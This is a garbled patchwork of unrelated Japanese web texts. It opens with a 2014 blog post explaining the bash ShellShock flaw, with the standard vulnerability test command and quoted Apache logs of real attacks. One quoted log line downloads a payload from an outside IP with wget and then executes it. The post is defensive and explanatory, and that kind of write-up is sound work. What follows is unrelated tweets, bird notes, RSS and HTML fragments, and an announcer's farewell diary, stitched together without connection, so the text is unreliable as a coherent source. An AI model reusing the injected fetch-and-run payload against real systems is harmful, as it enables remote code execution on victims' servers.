ルネスタを半錠にしたことで、睡眠時間が１時間ほど短くなっただけで、寝起きの眠気の引き摺り方は変わらなかった。単に早く目が覚めてしまうだけ。意味ねー(苦笑)

以下ニュース記事

bashにコードインジェクションのセキュリティ脆弱性 - US-CERT注意喚起 | マイナビニュース http://news.mynavi.jp/news/2014/09/26/090/

GNU bash脆弱性(ShellShock)、各種OSSプロジェクトが影響範囲を発表 | マイナビニュース http://news.mynavi.jp/news/2014/09/26/451/

具体的な例は以下。

BASHの脆弱性でCGIスクリプトにアレさせてみました http://www.walbrix.com/jp/blog/2014-09-bash-code-injection.html

２ちゃんねるのFreeBSDスレッドから調査用のコマンドを入手。 bashの前に、環境変数 x に呪文のような文字列を設定しているが、ここに細工がある。 vulnerableが表示されたらダメ。

uname -a
set | grep -ai version
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

ちなみに、あかん例を２ちゃんねるから引用。

799 名無しさん＠お腹いっぱい。[sage] 2014/09/26(金) 22:32:31.60

うあああああああああ
FreeBSDもだめだあああああああああ

root@test:~# uname -a
FreeBSD test 9.1-RELEASE-p11 FreeBSD 9.1-RELEASE-p11 #0: Tue Apr 8 20:54:56 UTC 2014 root@amd64-builder.daemonology.net:/usr/obj/usr/src/sys/GENERIC amd64

root@test:~# set | grep -ai version
version tcsh 6.18.01 (Astron) 2012-02-14 (x86_64-amd-FreeBSD) options wide,nls,dl,al,kan,sm,rh,color,filec

root@test:~# env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
vulnerable
this is a test
root@test:~#

上の例だとtcshから実行しているようなので、bashのバージョンが表示されていない(tcshのバージョンが表示されている)のはご愛嬌。

「this is a test」の前に「vulnerable」が表示されているので、 bash起動時、受け継いだ環境変数を評価する際に、書いてあるコマンドが実行されちゃうというしくみ。

環境変数に仕込めればOKということで、たとえばブラウザから送られるHTTP_USER_AGENTあたりに呪文が書いてあるとマズい...というもの。

Webサーバから起動するpythonやperlなど他の言語の中で、system("...");を使っている場合、 環境変数を引き継いだまま、かつ、bashがシェルとして使われている場合は、bash起動時にやられる。

system()だけではなく、perlなら、open("コマンド|")で子プロセスのコマンド出力をゲットできるが、 これも起動シェルがbashならアウトだ。

ウチのFreeBSD-9.1Rの場合、shell("...")とかopen("コマンド|")で使われる 起動シェルは/bin/sh(いわゆるash)で、今回の影響はなさげ。 明示的にbashを指定して起動しているcgi関係のブツも無かったし。

ウチの/usr/local/bin/bashはダメだったので、portsからbashを入れなおして。

bashのバージョンアップ後

root@c60pc ~ $ uname -a
FreeBSD c60pc.tokyo3.nerv 9.1-RELEASE-p19 FreeBSD 9.1-RELEASE-p19 #0: Mon Sep 15 21:51:00 UTC 2014     root@amd64-builder.daemonology.net:/usr/obj/usr/src/sys/GENERIC  amd64
root@c60pc ~ $ set | grep -ai version
BASH_VERSION='4.3.26(0)-release'
root@c60pc ~ $ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
this is a test
root@c60pc ~ $

ちなみに、apacheのログに今回の祭りのログが残っていた。 ウチはwgetコマンド入れてないので、動かないけどな...。

http-errorログ。

[Thu Sep 25 13:02:49 2014] [error] [client 162.253.66.xx] Client sent malformed Host header, referer: () { :; }; wget -O /tmp/besh http://162.253.66.xx/nginx; chmod 777 /tmp/besh; /tmp/besh;
[Thu Sep 25 23:43:59 2014] [error] [client 185.10.57.yyy] Client sent malformed Host header, referer: () { :; }; /bin/ping -c 3 185.10.57.yyy

http-accessログ。

162.253.66.xx - - [25/Sep/2014:13:02:49 +0900] "GET / HTTP/1.0" 400 417 "-"
185.10.57.yyy - - [25/Sep/2014:23:43:59 +0900] "GET / HTTP/1.0" 400 368 "-"

ログを見ると、要求は GET / だが、ホストヘッダに例の呪文を入れて実行させようとしているようだ。

01>あけましておめでとうございます。今年もよろしくおねがいします。 補完は、一応準備だけはしているのだけど、ないかも。

ツイート

• 川原由唯＠無職無臭 @KawaharaYoui
  回路的には間違いなさそうなんだが動作がすごく不安定。これがチャタリングの仕業なのかなぁ？このままだと使い物にならん。 https://twitter.com/KawaharaYoui/status/507944965670854657/photo/1
  02:34
  
  

• 川原由唯＠無職無臭 @KawaharaYoui
  I'm at 江田記念病院 in 横浜市青葉区, 神奈川県 https://www.swarmapp.com/kawaharayoui/checkin/540a5333498ea3e877cd3d68?s=vUQrdlu5x0yLsNDtc7Y4sbOSGkY&ref=tw
  09:20
  

• 川原由唯＠無職無臭 @KawaharaYoui
  夜更かししたのでにゃぶい。
  09:26
  

• 川原由唯＠無職無臭 @KawaharaYoui
  I'm at 江田駅前薬局 in 横浜市青葉区, 神奈川県 https://www.swarmapp.com/kawaharayoui/checkin/540a5c8c498ea4b3ab3dad1e?s=dWlXwHKJJZ6otHyU0Aifn-mq9Fk&ref=tw
  09:59
  

• 川原由唯＠無職無臭 @KawaharaYoui
  I'm at 食品館あおば 荏田北店 - @aoba_edakita in 横浜市, 神奈川県 https://www.swarmapp.com/kawaharayoui/checkin/540a5d6e498e8f824e664e73?s=m_QFC-CINBO8TTS4YUhGnhUAwZc&ref=tw
  10:03
  

• 川原由唯＠無職無臭 @KawaharaYoui
  一時帰宅。のまま引きこもりそうな勢い。
  10:27
  

• 川原由唯＠無職無臭 @KawaharaYoui
  @ebanw それあかんやつや（うそ
  10:30
  

• 川原由唯＠無職無臭 @KawaharaYoui
  Raspberry Pi の3.3V出力を電源にしたら安定して表示されるようになった。やはり乾電池3Vだと不足か。これで先が見えた。 https://twitter.com/KawaharaYoui/status/508079663881531392/photo/1
  11:30
  
  

• 川原由唯＠無職無臭 @KawaharaYoui
  ビールクズして寝てた。
  16:09
  

新刊があるわけでもないので、あまり大きく告知はしませんが、日曜日 東モ16a です

@ 今回、おそらくヒマだと思いますので、スケッチブック受けようかしら？(^^;

まな板も受け付け（嫁艦から艦爆襲来のため以下略

• ハシブトガラス(幼鳥) 川。ぎこちなく水たまりをつついた後、飛んで行った。
• カルガモの群れ
• ツバメ 峠1に向かう途中の電線。足が短いので頭掻きは大変そう
• シジュウカラ 田んぼ地帯の電線。いい天気だな。
• ホオジロ(♂) 峠2に向かう途中の電線でさえずっている。 事故にあったホオジロとは別の個体と思われる。やはり助からなかったか。 元いた個体なら多少近付いたくらいでさえずりをやめてチチチチにしたりしない。
• ホオジロ(♂) 南斜面。子供を連れて地面にいた。
• カワラヒワ(幼鳥) 調整池のそば。
• ホオジロ(♂) さえずっている。

o 帰り。

o ニイニイゼミが鳴きだした。今季初認。]]> 2014-07-06T21:56:33+09:00 ITOH Yasufumi http://www.geocities.jp/nyumen01/ ]]> 2014-07-03T18:30:41+09:00 http://www.playstation.com/manual/psp/rss/jp/spec.html @import url("css/style.css");
//-->
</style>

<script type="text/javascript">
var AKSB=AKSB||{};AKSB.q=[];AKSB.mark=function(b,a){AKSB.q.push(["mark",b,a||(new Date).getTime()])};AKSB.measure=function(b,a,c){AKSB.q.push(["measure",b,a,c||(new Date).getTime()])};AKSB.done=function(b){AKSB.q.push(["done",b])};AKSB.mark("firstbyte",(new Date).getTime());
AKSB.prof={custid:"277256",ustr:"",originlat:0,clientrtt:2,ghostip:"23.15.1.40",ipv6:false,pct:10,xhrtest:false,clientip:"122.216.99.139"};
(function(b){var a=document.createElement("iframe");a.src="javascript:false";(a.frameElement||a).style.cssText="width: 0; height: 0; border: 0; display: none";var c=document.getElementsByTagName("script"),c=c[c.length-1];c.parentNode.insertBefore(a,c);a=a.contentWindow.document;a.open().write("<body onload=\"var js = document.createElement('script');js.id = 'aksb-ifr';js.src = '"+b+"';document.body.appendChild(js);\">");a.close()})(("https:"===document.location.protocol?"https:":"http:")+"//ds-aksb-a.akamaihd.net/ds-aksb.min.js");
</script>
</head>
</head>

<body bgcolor="#FFFFFF" text="#333333" link="#4F639E" vlink="#6583C1" alink="#4F639E">
<div id="container"><img src="img/head_tm.gif" alt="RSS Channel" width="480" height="50">
]]> 2014-06-05T08:45:00+09:00 http://www.xtreamer.net/downloads/xtreamerpro/firmware.aspx Ver 2.7.1 http://home.att.ne.jp/surf/mirage/ 2014-02-26T11:50:00+09:00 mailto:wuyc@yha.att.ne.jp?Subject=to Mirage Guild Master http://unite2013.jp/blog/ 2013-10-28T18:40:24+09:00 http://diary.imou.to/~AoiMoe/ ．.

春から4ヶ月という短い期間でしたが、映画の見方がこれまでとは変わり、


インタビューの楽しさ、難しさを改めて実感した月日でした。


お付き合い頂いた皆さん、ありがとうございましたｍ（＿　＿）ｍ


今月からは、新人の岸田アナウンサーが担当です。


フレッシュな彼女のリポートもどうぞお楽しみに♪♪♪

というわけで、この日記も今回がラスト！

写真は、こちらも今回が最終配信となるポッドキャスト

「遥かではない四十路への道」の収録模様です。

明日配信です！

１６年間アナウンサーという肩書のもとお仕事させていただきましたが、

そこで気付いたことは２つ。

１つは、「自分にはアナウンサーセンスなかったな～」ってことと＾＾；

もう一つは、「でも表現することは大好きだ！」ってことです。

なので、今後フィールドが変わっても

見て、聞いて、感じたことを

言葉や文字や絵や、時には作品（？）にしていこうと思っています。

皆さんの目に触れるかどうかは別にして、ね＾＾

４月からはHTBで新しく立ち上がる部署に所属し、

違う形でテレビ局の仕事をすることになっています。

『４０歳を迎える年に新しい環境をスタートさせられるなんてラッキー！』

なんて豪語することはできません（笑）

これは、大先輩からいただいたお言葉です。

当の本人はそんな余裕はなく、ぶっちゃけハラハラドキドキです＾＾；

新しいことに一歩を踏み出す時のドキドキ感って

そういえば入社以来味わっていなかったかもしれません。

でも、私は旅が大好きです。

行程も宿も決めないで、

その時自分が持ち合わせている感覚だけを頼りに

知らないマチをテクテクゆく旅が好きなのです。

そのくせ旅を始める時はものすご～く不安にかられるし、

何より旅の合間に何度も何度も、「私なにやってんだろ・・」と

浅はかで無謀な自分の行動に自己嫌悪したりします。

旅の直後だって、疲れすぎてこれっぽっちも達成感は抱けません（笑）

じゃぁ、なんで？　って思いますよね。

同感～＾＾

けど、なんかよくわからないけど、

何年かすると『やってよかったな～』って思うんです。

その時の経験が血や肉になっている感は全くないのですが、

またいつかそういう旅をしようって思う瞬間が必ず来るのです。

だから、この新しいスタートも旅のようであればいいかな・・

そんな風に思っています。

そう考えると、このハラハラドキドキって旅の前の感覚と

似ていなくもないですしね＾＾

おっと。

「最後」をいいことに随分と長く書いてしまいました（笑）

ということで、

長い文章に、

そして長きにわたって

お付き合いいただき本当にありがとうございました！

あっ。

ちなみに、いま担当している「イチオシ！プラス」は

春以降も出演することになっています。

こちらのほうはどうぞ引き続きよろしくお願いいたします。

ポッドキャストスタッフと＾＾

※ポッドキャスト「From STAFF」を楽しんでいる方も多いことでしょう。

　私も彼らの徒然日記を読んではデスクで独り大笑いしている人間＾＾

　ついに、そんな１号２号の姿がアナ部の日記に！！

　スリムクラブ所属の彼らの動向、今後も見守りましょうっ＾０＾

+ 今年も公私に色々とありましたが、何とか無事に年を越せそうです。